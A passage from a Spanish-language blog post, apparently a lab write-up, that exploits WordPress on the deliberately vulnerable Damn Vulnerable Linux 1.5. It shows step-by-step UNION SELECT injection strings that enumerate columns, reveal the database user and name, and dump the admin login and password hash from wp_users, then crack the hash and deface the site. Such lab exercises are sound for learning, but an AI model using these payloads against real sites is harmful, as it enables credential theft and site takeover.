&lt;pre style=&quot;background-color: #cccccc; color: black;&quot;&gt;?cat = 999999 UNION SELECT 1,2,3,4&lt;/pre&gt;
&lt;pre style=&quot;background-color: #cccccc; color: black;&quot;&gt;?cat = 999999 UNION SELECT 1,2,3,4,5&lt;/pre&gt;
Al llegar a la quinta columna, supe que la segunda era vulnerable.

¿Cómo? Traduciendo del inglés, sabemos cuando NO hemos llegado.&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
The used SELECT statements have a different number of columns&lt;/blockquote&gt;
En pantalla se podía apreciar el siguiente texto:&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
Archive for the &#39;2&#39; category&lt;/blockquote&gt;
Sustituimos el número 2 por el número 99 y vemos:&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
Archive for the &#39;99&#39; category&lt;/blockquote&gt;
No hay duda.&lt;/div&gt;
&lt;/center&gt;&lt;center&gt;&lt;br /&gt;
&lt;center&gt;&lt;span style=&quot;color: darkgreen;&quot;&gt;&lt;b&gt;Removiendo la tierra&lt;/b&gt;&lt;/span&gt;

&lt;/center&gt;&lt;br style=&quot;color: white;&quot; /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;div style=&quot;color: white;&quot;&gt;
Para ver el usuario y host de la base de datos, simplemente hice la petición USER().&lt;/div&gt;
&lt;div style=&quot;color: white;&quot;&gt;
Esto me devolvió:&lt;/div&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
root@localhost&lt;/blockquote&gt;
La injección quedaba así:&lt;br /&gt;
&lt;pre style=&quot;background-color: #cccccc; color: black;&quot;&gt;?cat = 999999 UNION SELECT 1,USER(),3,4,5&lt;/pre&gt;
XD! Tener una base de datos como ROOT es estar loco.

Teniendo en cuenta la seguridad que ahí se manifestaba me dije: Ni me hará falta buscar la base de datos y columnas, ya que estoy seguro que tendrá los mismo datos.&lt;br /&gt;
Para buscar el nombre de la base de datos, simplemente induje un error.&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background-color: #cccccc; color: black;&quot;&gt;?cat = 999999 UNION SELECT 1,jejeje,2,3,4 from Hola&lt;/pre&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
Table &lt;b&gt;wordpress&lt;/b&gt;.Hola doesn&#39;t exist.&lt;/blockquote&gt;
Cada vez estaba más seguro.

Procedí así con la injección.&lt;/div&gt;
&lt;br /&gt;
&lt;center&gt;&lt;b&gt;&lt;span style=&quot;color: darkgreen;&quot;&gt;Contact Administrator&lt;/span&gt;&lt;/b&gt;

&lt;/center&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
Por si alguien desconoce estos datos, procedí con la base de datos wordpress, los cuales por defecto son:&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
Tabla: &lt;b&gt;wp_users&lt;/b&gt;&lt;br /&gt;
Columnas: &lt;b&gt;user_login, user_pass&lt;/b&gt;&lt;/blockquote&gt;
Continué con la injección:&lt;br /&gt;
&lt;pre style=&quot;background-color: #cccccc; color: black;&quot;&gt;?cat = 999999 UNION SELECT 1,COUNT(*),3,4,5 from wp_users&lt;/pre&gt;
Aclaración: COUNT(*) se utiliza para enumerar las columnas.&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
Archive for the &#39;1&#39; category&lt;/blockquote&gt;
Sólo tenía un registro. Procedí con la injección final:&lt;br /&gt;
&lt;pre style=&quot;background-color: #cccccc; color: black;&quot;&gt;?cat = 999999 UNION SELECT 1,user_login,3,4,5 from wp_users&lt;/pre&gt;
&lt;pre style=&quot;background-color: #cccccc; color: black;&quot;&gt;?cat = 999999 UNION SELECT 1,user_pass,3,4,5 from wp_users&lt;/pre&gt;
Primer resultado:&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
Archive for the &#39;Admin&#39; category&lt;/blockquote&gt;
Segundo resultado:&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
Archive for the &#39;7b24afc8bc80e548d66c4e7ff72171c5&#39; category&lt;/blockquote&gt;
Click derecho, Buscar en Google, y concluí que &lt;b&gt;&lt;u&gt;la clave era toor.&amp;nbsp;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/center&gt;&lt;center&gt;&lt;center&gt;&lt;span style=&quot;color: darkgreen;&quot;&gt;&lt;b&gt;&lt;br /&gt;Dejando huella&lt;/b&gt;&lt;/span&gt;&lt;div style=&quot;color: white; text-align: left;&quot;&gt;
Accedí a la página principal del blog, y más abajo vi el login de usuarios.&lt;br /&gt;
Me logeé con el usuario y clave del administrador, y procedí a crear un &quot;Yo Estube Aquí&quot;, que, al ser un entorno controlado y totalmente simulado, realicé.&lt;/div&gt;
&lt;span style=&quot;color: darkgreen;&quot;&gt;


&lt;img alt=&quot;?di=11132870473310&quot; height=&quot;232&quot; src=&quot;http://i-host.oversec.org/?di=11132870473310&quot; width=&quot;320&quot; /&gt;&lt;br /&gt;


&lt;/span&gt;&lt;span style=&quot;color: darkgreen;&quot;&gt;&lt;center&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Fín del juego.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;/center&gt;&lt;span style=&quot;color: black;&quot;&gt;

Un saludo.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/center&gt;&lt;/center&gt;</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/7150463941040286834/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/explotando-wordpress-en-damn-vulnerable.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/7150463941040286834'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/7150463941040286834'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/explotando-wordpress-en-damn-vulnerable.html' title='Explotando Wordpress en Damn Vulnerable Linux 1.5'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>